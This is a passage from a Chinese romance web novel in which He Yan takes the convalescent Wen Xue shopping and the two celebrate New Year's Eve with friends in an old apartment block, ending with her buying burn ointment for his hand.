贺岩坐在车上,没急着发动引擎,手臂搭着方向盘,看看她发的照片,两张图片间隔五分钟,他知道那药有多苦,也是为难她了,正因为如此,他希望她能够尽快好起来,过上跟其他同龄人一样的生活,就不必再尝那些苦涩了。
他笑了下,回复:【厉害。】
发送过去,收起手机,扣上安全带,专心开车上高速。从这里到老城区,在不堵车的情况下也得开一个多小时。
闻雪洗了抹布擦窗户,看着蒙上灰尘的玻璃变得透亮干净,她更是干劲十足,满意地欣赏自己的劳动成果,但总觉得差了点什么,她站在通廊上冥思苦想。
终于想到了。
几分钟后,她提着桶,带上抹布下楼,来到二楼贺岩的房间门口,门是关着的,她知道他的备用钥匙放在花盆下,她见过一次,但她不能拿,只打算帮他把窗户擦干净,接下来一整年会有好运气。
…
贺岩回来看到的便是这一幕。
几米之外,穿着格子大衣的闻雪踩在小板凳上,把袖子卷了起来,露出细白的胳膊,努力踮着脚在擦窗户,她认真做一件事的时候,习惯性地屏蔽周围所有的声音。
贺岩来到她身后她都没有发现,担心自己出声会吓到她,他抬脚,抵住板凳腿,问道:“在做什么?”
闻雪一惊,明亮的玻璃成为了一面镜子,映出身后宽阔挺拔的身影。
她回过头,站在小板凳上的她比贺岩要高了。
“擦窗户。”
“下来。”
确定她不会从板凳上摔下来后,贺岩往边上退了几步,瞥见还留有湿痕的窗户玻璃,眉头皱得更紧,擦窗户爱劳动是好事,但为什么给吴越江擦?
“老吴使唤你的?”他问。
闻雪被他这话问懵了,摇摇头,“没有。”
触及他冷峻的面容,她连忙解释道:“我在打扫卫生,想着反正都是擦窗户,顺便帮越江哥擦了也是一样。”
顺便?
贺岩微愣,侧过头看向自己房间的窗户,果然干干净净的,他眉头舒展开来,却还是缓声道:“这事可以找张婶来做。”
“张婶回家过年了。”闻雪知道他说的张婶是谁,很友善爱笑的一个阿姨,每次碰到总要提醒她晒被子,张婶给人当钟点工,也被贺岩请来定期打扫房间。
贺岩不再纠结这个话题,如果不是吴越江提醒他过年要带闻雪买新衣服,他压根就没注意过她的衣着打扮,这会儿打量两眼,发现她冬天的衣服确实不多,都很素净,一件白色羽绒服,一件蓝色厚棉服,以及她身上的格子大衣。
“打扫完了?”
“差不多。”
“你上去洗个手,我在楼下等你,晚饭就在外面吃。”
这栋楼的住户该回家的都走了,往日里热热闹闹的,今天却异常寂静。如果闻雪没有留下来,以贺岩上辈子多年的习惯,他大概也是在酒店开间房躺着,她在,他该让她过个像样的春节。
“好。”
闻雪提着桶脚步轻快地往三楼走,贺岩开门换自己的车钥匙,关门下楼经过吴越江的房门时停下脚步,抱着一种很微妙的炫耀心态,他拿出手机破天荒地拍了张照发过去。
还在机场等候的吴越江一头雾水:【?】
贺岩一边下楼一边回:【你没发现有什么变化?】
吴越江:【想我了?】
贺岩:【你瞎了。】
…
傍晚六点不到,天色渐暗,闻雪戴好围巾下楼,几乎遮住半张脸,只露出一双含笑眼眸,吉普车的车前灯照着她走来的这一段路,刚上车还没坐稳,耳畔便传来贺岩的声音,他说,“现在外面车多人多,等回来再让你开。”
因为这句话,闻雪接下来没有发呆,她全神贯注地盯着他开车,想从老司机这里学一点小技巧。
直到车辆驶入商场的地下车库,她才回过神来,难掩惊讶地张望。贺岩总会带她出来吃饭,但都是街边的餐馆居多,这还是他头一回带她来商场。
他停好车,不疾不徐地说:“我对这里不熟,今天吃什么你来决定。”
“啊?”闻雪怔了怔,突然被委以重任,在短暂的不知所措后,她立刻从口袋搜出手机,“你等等,让我先做功课。”
贺岩起初不明白她的意思,一分钟过去,五分钟过去,十分钟过去,她还窝在副驾驶座翻着手机……他实在疑惑,身躯往她那边靠,漫不经心地瞥向她的屏幕,她正逐字逐句地研究别人的点评。
“……”
他想让她别费那功夫,话都到嘴边了,目光掠过她的侧脸定住,屏幕的白光照着她白净的脸,她分外专注,显然把它当成了一件很重要的事情来对待。
于是他闭嘴了,不再催促她,耐心地等她做完功课。
闻雪将这个商场所有的餐厅都看了一遍,口碑人气从高到低排序,挑来选去,郑重其事地选择一家川式餐厅。它家差评最少,以及贺岩爱吃川菜。
就这家了,希望网友们不要骗她……
她如释重负,脸上的表情就像是解出一道难题般轻松,贺岩哑然失笑的同时,也想好了要是她选的是口味古怪的餐厅,他装也要装出吃到人间美味的样子。
两人下车,这家商场很大,分成好几个馆区,花了十几分钟才到餐厅门口。
他们运气不错,只剩最后一个双人桌,点了几道招牌菜,顶着闻雪期待的目光,贺岩拿起筷子夹菜尝了口,淡笑道:“味道不错。”
她一脸惊喜:“真的吗?”
为了证明自己没说瞎话,贺岩一连吃了三碗米饭。
闻雪看他吃这么香,顿时心满意足。
她的超级好心情在结账走出餐厅,被贺岩带着去了二楼女装时戛然而止,察觉到他的意图,她停下脚步,再也不肯往前走了,“我有衣服,不需要买。”
“你应该还没试过这种方式。”他早就预料到她的反应,“心烦时逛街买东西。”
闻雪嗫嚅,怎么试,买东西是要花钱的啊。
从小到大也没人教过她,在不开心的时候花钱去买开心。况且她也没有很多钱,用完就没了。
“去吧。”
“可是……”
经过这段时间的接触,贺岩对闻雪也算了解,她是个心思全都写在脸上的人,别说是花别人的钱,她甚至都不想给身边的人造成哪怕一点点的麻烦。
但他想让她知道,更想让她习惯,他不是“别人”。
他的钱她可以随便花,她也可以在任何时候给他添任何麻烦。
“行。”他似是松口了,然而还没等闻雪舒一口气,他丢下一句话,径直走向离得最近的一家店,“你拿不定主意,那我给你挑。”
他不按常理出牌的行为令闻雪睁圆了眼睛,“哎,你!”
但他已经大步走进了店里,导购热情地迎上,“先生要买点什么,我们这里全是新款!”
闻雪像热锅上的蚂蚁急得团团转,见他迟迟不出来,快步追进去,定睛一瞧,他正蹙眉打量一件蕾丝花边大衣,仿佛在想象它穿在她身上的模样,满意地点了下头,对身侧的导购说,“这件也要。”
闻雪僵直地看向喜气洋洋的导购怀里抱着的衣服,险些眼前一黑。
他是怎么办到的,商场的丑衣服居然都被他挑中了。
住手!
她急声道:“不要!”
贺岩侧目看向她,她深吸一口气,脸都急红了,气息不平地说:“……我自己挑。”
19 019.
贺岩跟导购同时松了一口气。
不需要吴越江提醒,贺岩也知道弟弟跟妹妹不同,他是真担心闻雪不会跟来,那他也没辙,总不能扛着她进来。
导购的心情比他更欣慰,这种事她见多了,经常都有男的擅作主张来买衣服,结果买回家以后对象根本不喜欢,又来折腾退货换货,工作量骤增,她找谁说理去?
闻雪走过来,没搭理贺岩,歉意地对导购说:“他挑的这些,麻烦你重新放回去。”
导购心领神会,笑道:“好,那你是自己看,还是我来推荐?”
“我自己看,谢谢。”
贺岩没想到她一件都不留,却也没说什么,对她脸上的无奈也视而不见,低声道:“你自己挑,”他顿了顿,补充,“别敷衍,衣服是你穿。”
闻雪知道他是铁了心要给她买衣服,拿他一点办法都没有。
她闷闷地点头,抬起眼眸,视线轻移,开始专心打量店里的衣服,通常商场的四季都要比现实生活要提前几个月,现在是寒冬腊月,店里已经上了春季新款。
贺岩环顾一圈,盯上了店里的沙发,走过去坐下,目光却随着闻雪挪动,她到哪,他的视线就跟到哪。
她似乎对一件丝绒裙子有兴趣,看了一会儿,又伸手摸摸布料。
然后她悄悄地探出手在裙子内侧找吊牌,试图偷瞄价格。
贺岩轻咳一声。
闻雪立刻做贼心虚般站直身体,循着咳嗽声望过去,对上他幽邃的眼眸,他虽然一句话都没说,但意思已经很明显了,别顾虑价格,只考虑喜好。四目交汇,她抿了抿唇,尽管有些尴尬,却还是让导购帮忙拿她的尺码。
在导购的指引下,她拿着裙子进了更衣室。
贺岩别开眼,扫见自己刚才用心为她挑的几件衣服,心里有些纳闷,那几件都很好看,怎么她就一件都没看上?
这个问题还没想明白,只听见那边帘子刷地一下被拉开,他抬头轻瞥一眼,目光微顿,店里的射灯光线明亮不失柔和,洒在闻雪身上,她脱了毛衣大衣,换上漂亮的裙子,露出白皙细直的腿,大概是为了拉拉链方便,她听导购的建议,将一头柔顺及腰的长发随意挽上,松松垮垮的,一步步朝他走近。
贺岩愣了一会儿,神色自若地点头:“还可以。”
闻雪对他那令人绝望的眼光已经不抱期待,她充耳不闻,往落地镜那儿走,有垂坠感的裙摆将将擦过他曲起的膝盖也没发现,导购很贴心,同她闲聊,对她还有这条裙子都赞不绝口。
幸好这段时间她有好好吃饭,气色好了不少,穿这件裙子显得没那么单薄空荡。
“就这件了?”
贺岩不知道什么时候来到了她身后,两道身影挤进一面镜子里,他平静地垂眸看她,说,“再多挑几件。”
导购脸上的笑容更加灿烂。
闻雪摇摇头,迟疑着说道:“要不我再看看别的?”
在贺恒意外去世之前,她跟宿舍里的女生一样,喜欢逛街淘小玩意,也喜欢买漂亮衣服,但每个月她有严格规定自己的生活用度,每次要添新衣服,她总要货比三家,价格、款式、质地,通通都要比较,哪次不是逛了又逛。
而且换衣服时她看过吊牌价格,就算打八折也不便宜。
在她的人生经验中,但凡超过四位数的衣服,她绝不会一时冲动就买下来。
她的冲动,仅限于五十元以内。
贺岩:“……”
他不理解,买件衣服而已,又不是买房子,有必要这样纠结吗?
再次打量她这一身,一锤定音,道:“挺好的,买。”
说完,他看向导购,“在哪刷卡?”
导购喜滋滋地振臂高呼同事,“玲玲,快给这位先生开单!”
闻雪急得想跺脚,好想让他们都给她住手,但也只能眼睁睁地看他去收银台刷卡买单,她心绪难平,丝毫没有注意到镜子里的她因为气恼,表情有多生动。
…
“再逛逛。”从店里出来,贺岩也没有离开的意思,“难得出来一趟,买就买齐全。”
闻雪瞟他一眼,小声反抗,“不买了。”
以后再也不要跟他一起逛街了。
他不解:“怎么?”
“冬天都快过去了。”她轻言细语地解释,“现在买羽绒服大衣穿不了几天,而且很多店里上的都是去年的春装。”
其实闻雪说的这些都是借口,毕竟商场的服装店从来都不是她消费的地方,刚刚是没法子,她如果不挑一件,他真的会把那些衣服全都买下来。
贺岩浑不在意,“立春了,还有倒春寒,能穿几天是几天。”
闻雪:“……”
他真的听不懂她说的话吗?
两人你看我,我看你,贺岩看出她的小心思,有点想笑,她确实什么都写在脸上,他又没瞎,怎么可能看不出来她很喜欢那件裙子。
他偏了下头,示意她跟上,道:“走。”
“喂……”她跟在后头无助地喊。
接下来贺岩故技重施,闻雪还是第一次逛这种街,明明她进更衣室换衣服之前跟他说得好好的,他也点头应了,结果等她换上自己的大衣出来,他已经刷卡买完单了。
闻雪很少有情绪不稳定的时候,她性子温柔,也温吞,极少跟人发生争执,面对他这样不讲道理的行为,她越来越沉默,到最后干脆不吭声了,他说什么就是什么。
不到一个小时,贺岩两只手都拎着购物袋,堪称满载而归,他也露出了满意的微笑。
但很快他就笑不出来了,他对商场的结构显然没有闻雪了解,跟在她身后乘坐扶手电梯上楼,没走几步,当他发现这一层卖的都是男装时,想转身走人已经来不及了。
闻雪温温柔柔地说:“来都来了。”
他眉头微蹙:“我不用买。”
“没事。”她抬手将头发捋在耳朵,眼里漾开笑意,学着他刚才的口吻说,“你拿不定主意,那我给你挑。”
贺岩:“?”
他还想沉声婉拒,闻雪已经施施然进了一家男装店铺。比起楼下女装,这一层冷清许多,难得来个顾客,导购纷纷迎了上来招呼闻雪,几个女人不知嘀嘀咕咕在说些什么,忽然,闻雪扭过头来,伸手指了指他,看嘴型还有零星飘过来的字眼,大概是说给他挑衣服,另外两个女人齐刷刷地看向他,从头发到脚,目光如尺般寸寸测量。
贺岩不自在地绷紧了身躯,有种被她们上手摸了一遍的错觉,而始作俑者一脸无辜地望着他。
两道视线僵持一会儿,他硬着头皮僵硬地朝她迈近,在她面前站定,她似乎很开心很得意,扑哧一声,笑声轻快。
他无可奈何地叹了一口气。
贺岩是标准的衣服架子,个高腿长,肩宽背阔,再加上他五官硬朗,随随便便一件衣服穿在他身上都很有味道,原本无精打采的导购们都来了兴致,跟业绩不业绩没关系,试问有几个女人不想打扮一个长得不错,身材高大的男人呢?
一个两个全围在闻雪身边,她们毕竟是专业的,兴致盎然地帮她搭配,一套又一套,贺岩也不是完全不挑剔,除了深色系的,浅色系一概不碰。
闻雪像是找到了某种乐趣。
趁他进去更衣室时,她下巴微扬,轻声道:“他试的那两套,我都买了。”
导购忍俊不禁,配合着问:“好,女士,刷卡还是现金?”
“刷卡!”
闻雪低头就要从小挎包里拿钱包,忽地顿住,傻眼了,她的包呢??
哗啦——
贺岩一把挥开更衣室的拉帘,他挺拔地向她走来,换下来的衬衫大衣搭在左手手臂,而他右手拿着她的包,他刚刚一直藏着。见她眼神错愕地看向他,他眉宇之间掠过淡淡的从容笑意。
他故意问:“怎么了呢?”
闻雪气闷,想起早上娜娜说的那句话,深有同感。她也做不出从他手里抢包这事,他摆明了就是不想让她花钱买单,太狡猾了。
其他导购努力忍笑。
这次逛街两人都有收获,购物袋堆得车后座满满当当的,回程时是闻雪开的车,她的气去得很快,回到筒子楼时便烟消云散,坐在副驾驶座的贺岩时不时看她一眼,见她紧抿着唇从一言不发到重新展颜,他的神经也跟着放松。
他不合时宜地想起了上辈子的一桩事。
那时她跟贺恒都在念大一,吴越江过生日,贺恒来了,心不在焉地说了几句话后,便一个人窝在角落里喝啤酒,耷拉着脑袋宛如丧家之犬,这瘟鸡模样叫人看了就来气。
吴越江一如既往地当和事佬,和颜悦色地询问贺恒发生了什么不好的事,说出来让哥哥们高兴高兴。
好说歹说,贺恒总算开口了,闷声说,他惹闻雪生气了,她已经一天没理他了。
彼时他和吴越江都很想让他哪里凉快去哪里,赶紧滚蛋,只要别在这里发疯就行。
贺恒嗓音沙哑着说,哥,你们不懂,她不理我,我怵得慌。
现在贺岩心情很复杂,因为他懂了。
闻雪自认为今天开得比昨天更好,在心里为自己打一百分,愉快地解开安全带下车,站在一旁等贺岩,锁好车后,像往常一样,一前一后走进楼道,他送她到三楼,只是把购物袋交给她时,一脸欲言又止。
像贺岩这样的男人,很多表达心情的三个字在他人生字典中都不存在,他觉得很矫情,也从未对别人说过。
比如对不起。
他说不出口,怎么都说不出口。
闻雪困惑地看着他,不知道他还有什么事。
他咽下那些莫名其妙的情绪,叮嘱道:“早点休息。”
“嗯。”
贺岩提着他的购物袋转身就走,和之前从不停顿,沉稳的步伐不同,这次略显踌躇。闻雪倚着门,目送他的身影越来越远,她知道他都是好心,所有她遇到的人里,他对她最好心,她比他小,应该让着他,思及此,她不再犹豫,往前走了几步,手扶着栏杆,踮脚探出脑袋,在这寂静的夜里,迎着寒风冲着下面喊:“喂。”
不喊哥,喊喂,是代表着她这个人有脾气的,而且她今天还有一点点生气。
因为他有些强势,也因为他只许州官放火不许百姓点灯。
贺岩正沉着脸从口袋搜钥匙,冷不丁地听到熟悉的声音,短暂的惊讶后,身体比意识更迅速,已经来到了栏杆前往上看,夜色很黑,她逆着光,但一双眼睛清澈得发亮。
她含笑,说道:“谢谢。”
20 020.
闻雪说完这句话后,不等他作出回应,她缩回脑袋直奔房间,砰地一声关上门,急促的呼吸还没平缓,窝在沙发上偷乐。老房子的隔音效果不算太好,在楼下的贺岩都能听到她跑动时的动静,他侧耳听了会儿,拧着的眉头不自觉地舒展开来。
他是一个不善言辞的人,此时此刻,情绪少,话更少。
拿出钥匙进门后,倚着门沉思许久,都忘记了要先把手中并不算轻的购物袋放下,等他重新缓过神来后,已经是半个多小时后的事,他愣怔几秒,目光不经意地落在被他摆在窗户上的杯子,被闻雪用过一次的杯子。
贺岩放下袋子,搓了把脸,拿起杯子再次出门。
熟门熟路地找到吴越江的钥匙,堂而皇之地推门进去,像昨天那样,在奶粉罐里挖了两勺,重新烧了热水冲上,他稳稳地握着,脸上的神情有几分别扭,但还是上了三楼,来到她的房门前,眼帘微垂,思索近一分钟,终于抬手敲了敲门。
一下,又一下。
闻雪刚洗完澡,裹着厚厚的睡衣,正对着镜子擦面霜,寂静的夜里突兀的叩门声吓得她肩膀一缩,这栋楼大部分住户都走了,现在这个时间点能来找她的人只有一个。
她扬声道:“等一等。”
果然门外传来沉沉声音,“嗯。”
她胡乱将点在脸上的面霜涂抹均匀,确定自己现在的样子方便见人,这才走过去开门,门开的那一瞬,嗅觉更敏锐,闻到了淡淡的奶香味,定睛一瞧,贺岩立在门口,右手拿着杯牛奶,见她看过来,他不自在地挪开眼,“喝点热牛奶。”
闻雪愣怔,反应过来后忍俊不禁。
或许是家庭经历的关系,她总觉得,贺岩有时候在她面前就是年长者。
比他实际年龄还要大的年长者。
他不擅长说抱歉,但这就是他道歉的方式,很内敛很含蓄,然而在这样寒冷的冬夜,一杯热牛奶也许比一句对不起要更温暖。
“……哦。”
她还是努力憋住笑意,从他手中接过这杯牛奶,他还没走,像是要等她喝完。她认出这是昨天的杯子,放心地轻啜一口,试试水温,没那么烫,恰到好处。
只是,等下她又要再刷一次牙了。
贺岩没有盯着她,他拿眼睛看向别处,但他能从她吞咽的声音中辨别出她喝了多少。
闻雪现在的饭量比之前增了点,晚饭那顿她吃了满满一碗,这会儿肚里还撑,喝了大半杯牛奶后,实在是喝不下去了,感觉胃里能游鸭子船,“我喝不完了。”
“没事。”
贺岩伸手,示意她把杯子给他,他漫不经心地瞥了眼,“杯子我洗,你早点睡。”
闻雪点头。
他这次是大步离开,下楼后,将还剩小半杯的牛奶倒掉。
这个夜晚,便是在闻雪奋力的刷牙声以及贺岩的洗刷杯子声中结尾。
…
隔天是除夕的前一天。
中午时分,娜娜跟万年甜甜蜜蜜地回来,周围都冒着粉色泡泡,难以想象他们已经恋爱好几年了,还能这般如胶似漆,这次过年他们四个人一起,贺岩跟万年要出去采买年货,娜娜本来饶有兴趣,还想撺掇闻雪跟着去,一听他俩是去什么菜市场,立刻歇了念头。
闻雪还惦记着要请她喝东西,两人一拍即合,快快乐乐地手挽手去星光广场,进了家冰淇淋店。
娜娜小心翼翼地看了眼菜单价格,掉头就想跑。
她凑在闻雪耳边愤愤道:“一个球几十块,他们怎么不去抢!”
闻雪看得出她是真的想吃,拦住不让她走,扫了眼菜单,正好排到她们,她飞快点了个香蕉船,有三个球,应该够娜娜吃。
“呜呜呜呜呜好贵!”娜娜抱住闻雪的手臂,“万年都没给我买过!”
闻雪笑笑,“说了要请你吃贵的呀。”
店里顾客不少,她们找了靠角落的位置坐下,娜娜将勺子递给闻雪,她摇头婉拒,“我现在不能吃冰的,在喝药呢。”
娜娜知道她之前身体不太好。
第一次见时,她苍白到近乎透明的脸,令人印象很深。
听她这样说,便不再勉强,语气遗憾,表情狡黠,“那就只能我一个人吃了。”
“多吃点,不够再给你买。”
闻雪一手托腮,笑意盈盈。
娜娜都不忍心破坏这个香蕉船,心念一动,拿出手机各种找角度拍照,美滋滋地发给男朋友以后,还要上传到状态给所有人看,但凡她好友列表里有一个人不知道她吃了一百多的冰淇淋,那都算她宣传不到位。
另一边,万年跟着贺岩在市场转悠,收到娜娜发来的一连串照片,挠挠眉毛,笑出声来。
贺岩回头。
万年解释道:“娜娜给我发照片,她跟闻雪去吃冰淇淋了,发了十几张。”
“嗯。”
贺岩继续往前走,前面人越来越少,他也放慢了脚步,拿出手机给闻雪发了条消息:【少吃点冰的】
他不是专制的哥哥,但医生确实有交待过。
这段时间尽量少吃刺激食物,辣的,冰的都要适量。
店里,闻雪放在桌上的手机振动,屏幕跳出这条消息,她哭笑不得,回复:【我没吃。】
贺岩:【行】
“怎么啦?”娜娜尝着冰淇淋,见闻雪在笑,好奇问道。
闻雪将这一段聊天记录给她看,“还好我忍住没吃。”
娜娜耸肩,再次感慨:“岩哥现在真是一天天刷新我对他的看法。”可能是提到了贺岩,她思维发散,眼睛一亮,小声和闻雪八卦,“哎,前天ktv的那个领班你有印象吗?”
“是个很好的人,怎么了?”
闻雪并不是对每个陌生人都有印象,之所以还记得那个领班,除了是前两天见过的人以外,最重要的是在贺岩去包厢给她拿包时,领班一直和她保持着不远不近的距离,应该是贺岩交待过,每次她们对视上,领班总会对她笑一下,很有安全感的笑。
娜娜掩唇道:“你没看出来吗?她对岩哥有意思。”
闻雪惊讶:“啊??”
她真没看出来!
“为什么这样说?”她又问。
“我们都知道,不信你下次问静姐跟周姐,”娜娜偷笑,“他们两个人认识几年了,好像是以前岩哥跟人谈生意吧,她那时还是服务员,被喝多了酒的狗东西刁难,岩哥顺路帮她解了围。”
“那他们……”
闻雪很震惊。
娜娜撇撇嘴,“所以说岩哥很无趣啊,他没那意思,这跟向瞎子抛媚眼有什么区别,我才不会喜欢不喜欢我的男人,我的人生已经很不甜了,要是还给自己找罪受,那完了。你说呢?”
闻雪看她嘴边沾了点奶油,将纸巾递给她,轻声道:“爱情是无法控制的。”
能够自如控制的,又怎么可以被称之为爱情。
“好深奥。”娜娜眼睛滴溜溜地看着她,“那你呢,你会喜欢上不喜欢你的人吗?”
“不知道。”
这个问题很为难闻雪,因为她只喜欢过一个人,而那个人,早在她喜欢他之前,就已经很喜欢她了。
两人吃完冰淇淋,顺便在星光广场附近逛了会儿,买了点过年用得上的喜庆小玩意,直到太阳快落山,才依依不舍地坐车回去。三楼厨房里哐哐当当地响,进去一看,是贺岩和万年在收拾买来的年货。
不知怎的,闻雪看他利落的动作,想起了娜娜说的话,也想起了那个人很好的领班。
她猜,贺恒肯定都不知道这件事。
“笑什么?”贺岩见她在那笑得跟捡了钱似的,问道。
闻雪赶忙收敛脸上的笑意,小声回:“我没笑。”
万年摸摸鼻子,尴尬承认,“哥,是我在笑。”
贺岩:“……”-
一大清早,娜娜就风风火火来敲闻雪的房门。
她太兴奋,连带着闻雪的心情都被她带动,他们四个没有血缘关系的人,居然要一起过团圆年,确实很有意思。昨天晚上他们吃饭时就商量好了菜单,娜娜从小就会站在灶台上做饭,日复一日,年复一年,她做腻了,万年也不想让她再做不喜欢做的事。
闻雪就更别提了,爷爷奶奶没去世之前,她最多也就是在家里洗碗,他们相继去世后,她都是吃学校食堂,让她煮面条炒个鸡蛋没问题,准备年夜饭太难了。
男女搭配,干活不累。
贺岩跟万年在厨房整活,闻雪和娜娜也有任务在身,她们要在每个同事的门上贴对联。
“别摔着了。”他叮嘱。
娜娜下楼时还在模仿贺岩的语气,“别~摔~着~了~”
闻雪被她逗笑,“喂。”
娜娜轻哼,“他是在警告我,真烦人。”
她们昨天逛街买了好多对联,每贴完一间,娜娜都要拍照发给那个人,对此她理直气壮,“不告诉他们是我们贴的,他们还以为是凭空出现的呢。”
给贺岩的房间贴对联时,闻雪有自己的私心。
那是她在摊上挑的,通俗易懂。
身体健康精神爽,长命百岁福气多。
这是她所盼望的,她希望贺岩能够身体健康,长命百岁。
在闻雪伸手给门上贴福字时,娜娜注意到瓷碗里没多少浆糊了,便道:“我去楼上再弄点,不然不够用!”
“嗯嗯。”
闻雪从袋子里找到买的兔子小灯笼,小巧精致,但灯很亮,她知道贺岩是做大事的人,他经常要跟人谈生意,谈生意就免不了要喝酒,像上次那样,喝到都拿不稳钥匙。
她将小灯笼挂在门上。
如果回来得很晚很晚,可以开灯,驱散黑暗,就算钥匙掉在地上,也能轻松找到。
21 021.
在厨房里忙活一通,贺岩抽空回了趟房间给手机充电。
从早上醒来到现在手机就没歇过,电话不断,消息不停,他看着都心烦,全都是复制粘贴的内容不明白这些人怎么如此热衷群发。
他下楼时听到通廊那边传来叽叽喳喳说话的声音,侧过头看去,是娜娜跟闻雪在贴对联。
他看了几眼确定她很安全后便收回视线,径直往自己房间的方向走去。
一边走一边随便选了几条看着还行的消息复制,然后转发给几个合作商,就当是拜年了。
到了房门口时,他收起手机,首先注意到的是贴在墙上的对联,他往后退几步,抬起眼眸在心里默念这淳朴的祝愿,继而看到挂在门上的兔子灯笼,他有些惊讶,又歪了歪脑袋,瞥向隔壁吴越江的房门,确定只有他有,其他人都没有,他不禁失笑。
他走近了些,伸手用带着薄茧的指腹碰碰灯笼上毛绒绒的兔子。
都不用问,他猜得到这是谁挂上去的。
只可能是喜欢那些毛茸茸玩意的闻雪。
他破天荒地花了几分钟时间来研究这个小灯笼,找到开关摁下,里面缠着几条线,线上串着一闪一闪的小灯,跟萤火虫似的,如果是在夜里,应该很亮。
这算什么?
贺岩忍俊不禁,总觉得闻雪把他当小孩在哄。
他用手指揉揉兔子,记起还有正事,收住笑意,拿钥匙开了门,给手机充上电。再出门时,不由自主地又看了几眼兔子灯。
除夕的午饭,他们四个人随便对付,重头戏在晚上。
一整个白天,贺岩跟万年就泡在厨房,又是炖又是炸,这对于贺岩来说,是最折腾最麻烦的一个年,以往贺恒在的时候,他们兄弟俩都是随便去外面买点吃的应付,后来他赚了钱,直接给餐厅打电话订一桌丰盛饭菜。
本来在他的计划里,也是准备带他们去餐厅吃饭,但这个提议被娜娜还有万年否决了。
他现在就是后悔,很后悔。
手背上被溅出来的油烫出水泡也就算了,他还一身的油烟味。
暮色四合。
吃年夜饭之前,贺岩下楼洗澡。闻雪不知道他被烫伤,还在兴致勃勃地研究被娜娜闲置的榨汁机,她切了橙子还有苹果,耐心地榨果汁。
一兜橙子苹果,榨出一扎果汁。
贺岩再下来的时候,干净清爽,身上带着肥皂的气息,闻雪眼尖地发现他换上了前天买的衣服,抿唇偷笑。这一身很适合他,挺括端正。
“开饭了!”
两张折叠桌拼在一起,桌上摆满了菜,色香味俱全,令人食指大动。
窄窄的房间里,他们四个人坐在一起,拥挤,却如此热闹。
娜娜起身,给四个漂亮的玻璃杯里倒果汁,她仍然遗憾嘟囔,“可惜闻雪不能喝酒,不然我们可以买一瓶红酒,那样就更有过年的氛围啦。”
闻雪笑笑,“其实不用管我,你们喝酒,我喝果汁就行。”
“那不是在诱惑你吗?”娜娜笑嘻嘻地说,“明年!明年我们喝红酒,”她看向闻雪,“明年这个时候你一定身体倍棒,什么都能喝!”
“好。”闻雪轻声应道。
她鼻腔有些发酸。哪怕是为了明年能和他们干杯喝红酒,她接下来一年里,也会好好吃饭,好好照顾自己。
贺岩盯着闻雪看,也没注意别的,拿起杯子喝了口,拧紧眉头,一脸不快,“这什么东西?”
如果他没记错,今天早上他给钱让娜娜去买果汁饮料。
几百块,就买这种玩意来敷衍他?
娜娜挺直腰背,立刻回道:“这是闻雪牌鲜榨果汁!”
闻雪赶忙放下杯子,正襟危坐,看向贺岩,是不是她兑了水,果汁不纯不够甜才不合他的口味?
贺岩神情微顿,仰头一口气喝完,淡声道:“还挺好喝。”
娜娜夸张地说:“岩哥,你是怎么做到的,脸在骂人,嘴在夸人。”
老实人万年哈哈大笑。
贺岩:“……”
闻雪背过身,掩去了脸上的笑意,在超市的塑料袋里翻翻找找,找到一罐啤酒,再转过来时,神色自若地倾身将啤酒放在他手边,“那,你喝这个。”
贺岩扣住啤酒,单手开了易拉罐,闻雪正要专心吃菜,不经意扫见他右手手背上的水泡,愣怔几秒,急急问道:“手怎么受伤了?”
“没事。”他低眸看了眼,不以为然,“被油烫的。”
闻雪抿了抿唇,“嗯。”
这个小插曲好似谁也没有放在心上,八点整,他们吃得差不多了,电视机里的春晚也准时开始,贺岩闲适地往椅背一靠,察觉到一道目光,他偏了下头,对上闻雪澄澈的眼眸。
他一顿,问:“怎么了?”
“没什么。”
她摇摇头,侧目继续看晚会,但总是无法专心,他手背上的伤让她分心。她猜,或许在她到来之前,在很久之前,贺岩受过的伤更多更重,重到不管是他自己,还是他身边的人都不会将这几个水泡当回事。
娜娜剥着橘子,一口一个,“现在的小品好无聊啊,好像在挠我胳肢窝逼我笑。”
万年起身收拾桌子,拿扫帚扫地。
闻雪想帮忙,被他微笑婉拒,只好作罢。
“要不我们打牌吧?”娜娜提议,这是在危险的边缘疯狂试探,这话刚出,贺岩轻描淡写地扫她一眼,充满警告意味。
万年从外面进来,随手抽了纸巾擦手,笑道:“打牌没什么意思,干脆我们买点烟花出去玩,明天雨夹雪,没几天好天气了。”
“好啊!”
娜娜从椅子上一跃而起,现在只要别让她再看这无聊的春晚,做什么都可以。
贺岩看向闻雪,无声地征询她的意见。
闻雪一脸心事重重,勉强笑着点头。
四人关灯出门,安静的楼道里都是娜娜兴奋的声音,以往闻雪会柔声附和,今天却意外地沉默。
由于贺岩喝了酒,开车的任务只能交给万年,娜娜坐副驾,闻雪和贺岩坐后座,黑色的吉普车不一会儿驶出筒子楼,闻雪靠窗坐着,她目不转睛地看向车窗外,贺岩偶尔侧过头,也只能瞥见她的侧脸。
他微不可察地皱了下眉。
是想家了吗?感觉她有点不在状态,好像不太开心。
闻雪本来没抱希望,除夕这天两旁街道都没几家店开门,一路开过去,一片漆黑,她有些颓丧,直到在拐角时,看到药店的招牌发出微弱的光芒,门也是开着的!她惊喜得坐直身体,提高了音量,“万年,麻烦你在前面停一下!”
她毫无预兆地出声,惹得闭目养神的贺岩撩开眼眸,沉声问道:“什么事?”
万年已经放慢车速,靠边停好。
娜娜也好奇地扭过头来,“闻雪,怎么啦。”
“我下去买点东西。”闻雪推开门下车,见贺岩蹙眉看过来,她莞尔,“很快的,不远。”
说完她关上了门,生怕晚了一步,药店就关门,空旷寂静的街道,风吹起她的发丝,她跑得很快,车上娜娜降下窗户,将脑袋伸出去张望,嘀咕道:“她去药店做什么?”
贺岩同样困惑,脑子里闪过一个念头,消失得太快,他没抓住。
闻雪冲进药店,上气不接下气,呼呼喘气。
店员捧着饭盒,一边吃饭,一边仰头看着悬挂起来的电视屏幕,见状愣住,“你要什么药?”
“烫、烫伤。”
闻雪抬手轻抚胸口,一字一顿,“被油烫的,手背上起了水泡,两三个……要怎么办?”
店员懂了。
过年前烫伤膏销量就很不错,家家户户都在备菜,她放下碗筷,熟练地从柜台拿了支药膏,“外用的,四到六个小时涂一次,要是情况严重,还是得去医院看看哈。”
“谢谢。”闻雪拿出钱包付钱,想了想,“再要一包棉签。”
“一共三十八。”
闻雪没要塑料袋,将小小的一支药膏和棉签揣进口袋,提着的心总算落地了。她不知道贺岩从前受过多少伤,可是这次她看到了,怎么能真的当什么事都没发生过呢?她做不到。
她相信,如果是她被烫到,他不会坐视不管,他会带她去医院,就像前不久只是知道她没睡好,就托那么多的关系给她挂号一样。
